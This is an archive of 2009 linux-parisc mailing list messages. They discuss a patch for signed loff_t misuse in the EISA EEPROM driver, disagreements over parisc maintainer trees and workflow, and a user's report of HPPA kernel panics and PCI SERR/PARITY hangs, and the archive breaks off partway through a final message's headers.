Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id fsgKZLcg9wfi; Wed,  5 Aug 2009 12:57:05 -0700 (PDT)
Original-Received: from [192.168.10.224] (newmulgrave.ext.hansenpartnership.com [192.168.10.224])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 5BF8A8EE0C8;
	Wed,  5 Aug 2009 12:57:04 -0700 (PDT)
In-Reply-To: <4A79D1BF.5020305@gmx.de>
X-Mailer: Evolution 2.24.1.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2010
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2010>

On Wed, 2009-08-05 at 20:38 +0200, Helge Deller wrote:
> On 07/21/2009 12:58 AM, Michael Buesch wrote:
> > loff_t is a signed type. If userspace passes a negative ppos, the "count"
> > range check is weakened. "count"s bigger than HPEE_MAX_LENGTH will pass the check.
> > Also, if ppos is negative, the readb(eisa_eeprom_addr + *ppos) will poke in random
> > memory.
> >
> > Signed-off-by: Michael Buesch<mb@bu3sch.de>
> > Cc: stable@kernel.org
> 
> Thanks!
> 
> Applied and pushed upstream.

Hang on a minute, this is an untested patch.  True, it will likely cause
no harm, but it would be more usual to wait for the actual confirmation
before declaring the problem fixed.

I'm also very concerned about this:

http://lkml.org/lkml/2009/8/2/107

That's a breach of standard maintainer protocol since you failed to copy
the architecture list on the pull request.

Parisc is in a precarious position as a marginal architecture that isn't
being produced any more.  Having duelling trees and maintainers is
definitely very unhelpful because it could cause Linus to lose
confidence in our ability as a community.

First things first, you need to agree on a single tree ... although it's
perfectly possible to have multiple maintainers commit to it (x86 works
this way), can we do this at least before the schizophrenia gets
noticed?

Thanks,

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc-isa-eeprom: Fix loff_t usage
Date: Wed, 5 Aug 2009 16:14:56 -0400
Lines: 38
Approved: news@gmane.org
Message-ID: <20090805201456.GR28572@bombadil.infradead.org>
References: <200907210058.44737.mb@bu3sch.de> <4A79D1BF.5020305@gmx.de> <1249502221.4183.43.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1249503310 6190 80.91.229.12 (5 Aug 2009 20:15:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 5 Aug 2009 20:15:10 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, kyle@mcmartin.ca,
	linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Aug 05 22:15:02 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MYmt3-0006E3-1e
	for glpp-linux-parisc@gmane.org; Wed, 05 Aug 2009 22:15:01 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751604AbZHEUO6 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 5 Aug 2009 16:14:58 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752444AbZHEUO6
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 5 Aug 2009 16:14:58 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:41874 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751604AbZHEUO6 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 5 Aug 2009 16:14:58 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1MYmsy-0003xS-23; Wed, 05 Aug 2009 20:14:56 +0000
Content-Disposition: inline
In-Reply-To: <1249502221.4183.43.camel@mulgrave.site>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2011
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2011>

On Wed, Aug 05, 2009 at 02:57:01PM -0500, James Bottomley wrote:
> Hang on a minute, this is an untested patch.  True, it will likely cause
> no harm, but it would be more usual to wait for the actual confirmation
> before declaring the problem fixed.
> 

I'd be shocked if anyone was actually in a position to test this at
all... I don't remember where I put my last Mongoose and HP VG ethernet
card... It looked fine to me though.

> I'm also very concerned about this:
> 
> http://lkml.org/lkml/2009/8/2/107
> 
> That's a breach of standard maintainer protocol since you failed to copy
> the architecture list on the pull request.
> 
> Parisc is in a precarious position as a marginal architecture that isn't
> being produced any more.  Having duelling trees and maintainers is
> definitely very unhelpful because it could cause Linus to lose
> confidence in our ability as a community.
> 
> First things first, you need to agree on a single tree ... although it's
> perfectly possible to have multiple maintainers commit to it (x86 works
> this way), can we do this at least before the schizophrenia gets
> noticed?
> 

I think Helge was just upset that I wasn't merging things fast enough,
and, fair enough, I guess. I promise to rectify that, and if I don't, I
plan to step aside.

regards, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc-isa-eeprom: Fix loff_t usage
Date: Wed, 5 Aug 2009 14:20:57 -0600
Lines: 33
Approved: news@gmane.org
Message-ID: <20090805202056.GN3711@parisc-linux.org>
References: <200907210058.44737.mb@bu3sch.de> <4A79D1BF.5020305@gmx.de> <1249502221.4183.43.camel@mulgrave.site> <20090805201456.GR28572@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1249503668 7894 80.91.229.12 (5 Aug 2009 20:21:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 5 Aug 2009 20:21:08 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Aug 05 22:21:00 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MYmyp-0000Wr-Jm
	for glpp-linux-parisc@gmane.org; Wed, 05 Aug 2009 22:21:00 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751400AbZHEUU5 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 5 Aug 2009 16:20:57 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752446AbZHEUU5
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 5 Aug 2009 16:20:57 -0400
Original-Received: from palinux.external.hp.com ([192.25.206.14]:59307 "EHLO
	mail.parisc-linux.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751400AbZHEUU4 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 5 Aug 2009 16:20:56 -0400
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id 54EDA494005; Wed,  5 Aug 2009 14:20:57 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20090805201456.GR28572@bombadil.infradead.org>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2012
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2012>

On Wed, Aug 05, 2009 at 04:14:56PM -0400, Kyle McMartin wrote:
> On Wed, Aug 05, 2009 at 02:57:01PM -0500, James Bottomley wrote:
> > Hang on a minute, this is an untested patch.  True, it will likely cause
> > no harm, but it would be more usual to wait for the actual confirmation
> > before declaring the problem fixed.
> > 
> 
> I'd be shocked if anyone was actually in a position to test this at
> all... I don't remember where I put my last Mongoose and HP VG ethernet
> card... It looked fine to me though.

My 725 is sitting idle in the rack ... I think it's got two EISA cards
in it.  I've also got a Mongoose card for the 715.

There's two problems that would prevent me from testing this.

One is that I don't have any HIL devices, and the current HIL driver
goes insane with printks if you have no HIL deviecs plugged in.

The other is that the EISA code refuses to work until the EISA cards
have been configured, and we don't have a Linux utility to configure
EISA cards.

-- 
Matthew Wilcox				Intel Open Source Technology Centre
"Bill, look, we understand that you're interested in selling us this
operating system, but compare it to ours.  We can't possibly take such
a retrograde step."
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc-isa-eeprom: Fix loff_t usage
Date: Wed, 5 Aug 2009 16:37:06 -0400
Lines: 33
Approved: news@gmane.org
Message-ID: <20090805203706.GS28572@bombadil.infradead.org>
References: <200907210058.44737.mb@bu3sch.de> <4A79D1BF.5020305@gmx.de> <1249502221.4183.43.camel@mulgrave.site> <20090805201456.GR28572@bombadil.infradead.org> <20090805202056.GN3711@parisc-linux.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1249504643 12088 80.91.229.12 (5 Aug 2009 20:37:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 5 Aug 2009 20:37:23 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Aug 05 22:37:13 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MYnEW-0008FE-5C
	for glpp-linux-parisc@gmane.org; Wed, 05 Aug 2009 22:37:12 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752456AbZHEUhJ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 5 Aug 2009 16:37:09 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752487AbZHEUhJ
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 5 Aug 2009 16:37:09 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:58077 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752456AbZHEUhI (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 5 Aug 2009 16:37:08 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1MYnEQ-0001YC-IF; Wed, 05 Aug 2009 20:37:06 +0000
Content-Disposition: inline
In-Reply-To: <20090805202056.GN3711@parisc-linux.org>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2013
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2013>

On Wed, Aug 05, 2009 at 02:20:57PM -0600, Matthew Wilcox wrote:
> On Wed, Aug 05, 2009 at 04:14:56PM -0400, Kyle McMartin wrote:
> > On Wed, Aug 05, 2009 at 02:57:01PM -0500, James Bottomley wrote:
> > > Hang on a minute, this is an untested patch.  True, it will likely cause
> > > no harm, but it would be more usual to wait for the actual confirmation
> > > before declaring the problem fixed.
> > > 
> > 
> > I'd be shocked if anyone was actually in a position to test this at
> > all... I don't remember where I put my last Mongoose and HP VG ethernet
> > card... It looked fine to me though.
> 
> My 725 is sitting idle in the rack ... I think it's got two EISA cards
> in it.  I've also got a Mongoose card for the 715.
> 
> There's two problems that would prevent me from testing this.
> 
> One is that I don't have any HIL devices, and the current HIL driver
> goes insane with printks if you have no HIL deviecs plugged in.
> 
> The other is that the EISA code refuses to work until the EISA cards
> have been configured, and we don't have a Linux utility to configure
> EISA cards.
> 

It just so happens I have a PS2<->HIL thingy doodad around here.

:)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc-isa-eeprom: Fix loff_t usage
Date: Wed, 5 Aug 2009 17:27:26 -0400 (EDT)
Lines: 37
Approved: news@gmane.org
Message-ID: <20090805212727.133424CFD@hiauly1.hia.nrc.ca>
References: <20090805201456.GR28572@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1249507660 22696 80.91.229.12 (5 Aug 2009 21:27:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 5 Aug 2009 21:27:40 +0000 (UTC)
Cc: James.Bottomley@HansenPartnership.com, deller@gmx.de,
	kyle@mcmartin.ca, linux-parisc@vger.kernel.org
To: kyle@mcmartin.ca (Kyle McMartin)
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Aug 05 23:27:30 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MYo1B-0003oU-JS
	for glpp-linux-parisc@gmane.org; Wed, 05 Aug 2009 23:27:30 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751095AbZHEV11 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 5 Aug 2009 17:27:27 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751267AbZHEV11
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 5 Aug 2009 17:27:27 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2543 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751095AbZHEV11 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 5 Aug 2009 17:27:27 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 133424CFD; Wed,  5 Aug 2009 17:27:26 -0400 (EDT)
In-Reply-To: <20090805201456.GR28572@bombadil.infradead.org> from "Kyle McMartin" at Aug 5, 2009 04:14:56 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2014
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2014>

> > First things first, you need to agree on a single tree ... although it's
> > perfectly possible to have multiple maintainers commit to it (x86 works
> > this way), can we do this at least before the schizophrenia gets
> > noticed?
> > 
> 
> I think Helge was just upset that I wasn't merging things fast enough,
> and, fair enough, I guess. I promise to rectify that, and if I don't, I
> plan to step aside.

I agree with James.  Kyle, your support is crucial, but you don't have
to carry the full burden.  A single tree that is updated regularly makes
it easy for all maintainers to commit to, and for everone to test the
changes in the tree that haven't been pushed upstream.

I'm also pushing for stable parisc trees as well if there are enough relevant
changes to make this useful.

I know GCC's procedure are different, but it has a single master tree
with several hundred maintainers.  A maintainer has either global commit,
partial commit, or commit after approval priviledge.  There is a
test requirement for all changes, and all changes have to been sent to
the relevant lists.  Sometimes things break as a result of a change,
but not that often.

I think all the parisc maintainers should be able to push changes
upstream, but the list should be notified when this is done.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc-isa-eeprom: Fix loff_t usage
Date: Thu, 06 Aug 2009 00:21:50 +0200
Lines: 71
Approved: news@gmane.org
Message-ID: <4A7A05FE.4090506@gmx.de>
References: <200907210058.44737.mb@bu3sch.de> <4A79D1BF.5020305@gmx.de> <1249502221.4183.43.camel@mulgrave.site> <20090805201456.GR28572@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1249510925 31765 80.91.229.12 (5 Aug 2009 22:22:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 5 Aug 2009 22:22:05 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Aug 06 00:21:57 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MYorr-0003be-Mu
	for glpp-linux-parisc@gmane.org; Thu, 06 Aug 2009 00:21:56 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752109AbZHEWVw (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 5 Aug 2009 18:21:52 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752695AbZHEWVw
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 5 Aug 2009 18:21:52 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:43185 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1752109AbZHEWVw (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 5 Aug 2009 18:21:52 -0400
Original-Received: (qmail invoked by alias); 05 Aug 2009 22:21:51 -0000
Original-Received: from p4FDB2F2B.dip0.t-ipconnect.de (EHLO halden.box) [79.219.47.43]
  by mail.gmx.net (mp055) with SMTP; 06 Aug 2009 00:21:51 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX180hSNgKqk0WYKFw0SJOKgh1XhFX3WU0hzU5FwLi8
	wM8jmHGugsQMJ2
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1b3pre) Gecko/20090513 Fedora/3.0-2.3.beta2.fc11 Thunderbird/3.0b2
In-Reply-To: <20090805201456.GR28572@bombadil.infradead.org>
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.53
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2015
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2015>

On 08/05/2009 10:14 PM, Kyle McMartin wrote:
> On Wed, Aug 05, 2009 at 02:57:01PM -0500, James Bottomley wrote:
>> I'm also very concerned about this:
>>
>> http://lkml.org/lkml/2009/8/2/107
>>
>> That's a breach of standard maintainer protocol since you failed to copy
>> the architecture list on the pull request.

Yes, I sadly missed to copy parisc-mailing-list, but at least I remembered
to copy Kyle.

>> Parisc is in a precarious position as a marginal architecture that isn't
>> being produced any more.  Having duelling trees and maintainers is
>> definitely very unhelpful because it could cause Linus to lose
>> confidence in our ability as a community.

Agreed.

>> First things first, you need to agree on a single tree ... although it's
>> perfectly possible to have multiple maintainers commit to it (x86 works
>> this way), can we do this at least before the schizophrenia gets
>> noticed?

Yep.

> I think Helge was just upset that I wasn't merging things fast enough,
> and, fair enough, I guess. I promise to rectify that, and if I don't, I
> plan to step aside.

Thanks Kyle!
Yes, this was the only reason.

Just a few word on this whole thread, and the unplanned discussion
on lkml...

When I sent the pull request, my intention was never to offend Kyle
or any other parisc developer. I was even astonished that Kyle offended
me suddenly that harsh in public. Neither was my intend to create a duelling
tree to the one from Kyle.

I just wanted to make sure, that the latest important patches (e.g. the
GOT fix for 64bit kernel modules) just would not miss the 2.6.31 kernel.
As we all know, Debian developers lately discussed regularily, if the
parisc port should be dropped as a stable/release platform. IMHO, one
of the main reasons for the bad state is, that often patches were not
merged upstream (or at least not in time), and then backporting them
was complicated and often missed.

My pull request included only simple patches. It was planned as a one-time
thing just to help Kyle with the maintenance of the outstanding patches.
I agree with Kyle, that I should have sent him a notice _before_ sending
the pull-request to lkml. Again, I just didn't thought he would be
offended by this, esp. since it was just a collection of patches which
went to the parisc-list, with a few simple patches by me.

Regarding the push of outstanding patches, I'd really very much prefer
a joint tree, to which the maintainers can push. That way everyone can
regularily pull a working parisc tree. Furthermore, I'd prefer if we
can get the timing right, that most of the outstanding patches goes
upstream with a -rc1 release, and then only a minor patchset would
be pushed in -rc5 or similar time frame.

Helge

PS: James, welcome as a parisc maintainer! (http://git.kernel.org/?p=linux/kernel/git/kyle/parisc-2.6.git;a=commitdiff;h=4b5273681a72dbf5ece64d0ae1e85d54722012fe)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bernd Gietzelt <berndg@fsim-ev.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HPPA hang with PCI SERR or PARITY enabling
Date: Thu, 6 Aug 2009 14:15:42 +0200
Organization: FSIM e.V.
Lines: 41
Approved: news@gmane.org
Message-ID: <20090806141542.bf48febf.berndg@fsim-ev.de>
References: <20090615134519.6EE824FC5@hiauly1.hia.nrc.ca>
	<Pine.SOC.4.64.0907302054100.20870@math.ut.ee>
	<4A724818.4080909@tausq.org>
	<Pine.SOC.4.64.0907310923520.710@math.ut.ee>
	<20090805174507.GB11458@lackof.org>
	<Pine.SOC.4.64.0908052241550.4076@math.ut.ee>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1249563463 23087 80.91.229.12 (6 Aug 2009 12:57:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 6 Aug 2009 12:57:43 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Aug 06 14:57:32 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MZ2XB-0006M1-E4
	for glpp-linux-parisc@gmane.org; Thu, 06 Aug 2009 14:57:29 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753263AbZHFM5Q (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 6 Aug 2009 08:57:16 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755396AbZHFM5Q
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 6 Aug 2009 08:57:16 -0400
Original-Received: from mail.fsim-ev.de ([89.144.17.179]:48192 "EHLO mail.fsim-ev.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753263AbZHFM5P (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 6 Aug 2009 08:57:15 -0400
X-Greylist: delayed 2512 seconds by postgrey-1.27 at vger.kernel.org; Thu, 06 Aug 2009 08:57:15 EDT
Original-Received: from dslb-084-056-109-072.pools.arcor-ip.net ([84.56.109.72] helo=media)
	by mail.fsim-ev.de with esmtpsa (TLS1.0:DHE_RSA_AES_256_CBC_SHA1:32)
	(Exim 4.69)
	(envelope-from <berndg@fsim-ev.de>)
	id 1MZ1sR-0006W9-7C
	for linux-parisc@vger.kernel.org; Thu, 06 Aug 2009 14:15:23 +0200
In-Reply-To: <Pine.SOC.4.64.0908052241550.4076@math.ut.ee>
X-Mailer: Sylpheed 2.6.0 (GTK+ 2.16.1; i486-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2016
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2016>

On Wed, 5 Aug 2009 22:42:34 +0300 (EEST)
Meelis Roos <mroos@linux.ee> wrote:

> > It would be helpful to know if 2.6.30.x kernels (from unstable)
> > show the same problem.
> 
> Will test.

I've done some test with actual and older kernels from debian because
my system shows the same behavior.

2.6.18-5-parisc64-smp 	Kernel panic at statfs
2.6.18-6-parisc64-smp 	Kernel panic at statfs
2.6.26-2-parisc64-smp 	SERR & PARITY
2.6.30-1-parisc64-smp 	Kernel panic
at /build/buildd/linux-2.6-2.6.30/debian/build/source_hppa_none/kernel/smp.c:369
2.6.30-1-parisc64 	SERR & PARITY 

The complete logs can be found here:
http://89.144.17.178/~bernd/lasatonline.de/dokuwiki/doku.php?id=programmieren:administration:computer:ulrike


Some idea what's behind this failure message?

<snap>
Begin: Running /scripts/init-bottom ... done.
run-init: statfsKernel panic - not syncing: Attempted to kill init!
 /: Function not 
</snap>


If some additional test/logs needed: I'm compliant to deliever them.


-- 
Bernd Gietzelt <berndg@fsim-ev.de>
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HPPA hang with PCI SERR or PARITY enabling
Date: Fri, 7 Aug 2009 10:22:42 -0600
Lines: 104
Approved: news@gmane.org
Message-ID: <20090807162242.GA18373@lackof.org>
References: <20090615134519.6EE824FC5@hiauly1.hia.nrc.ca> <Pine.SOC.4.64.0907302054100.20870@math.ut.ee> <4A724818.4080909@tausq.org> <Pine.SOC.4.64.0907310923520.710@math.ut.ee> <20090805174507.GB11458@lackof.org> <Pine.SOC.4.64.0908052241550.4076@math.ut.ee> <20090806141542.bf48febf.berndg@fsim-ev.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1249662173 7342 80.91.229.12 (7 Aug 2009 16:22:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 7 Aug 2009 16:22:53 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Bernd Gietzelt <berndg@fsim-ev.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Aug 07 18:22:46 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
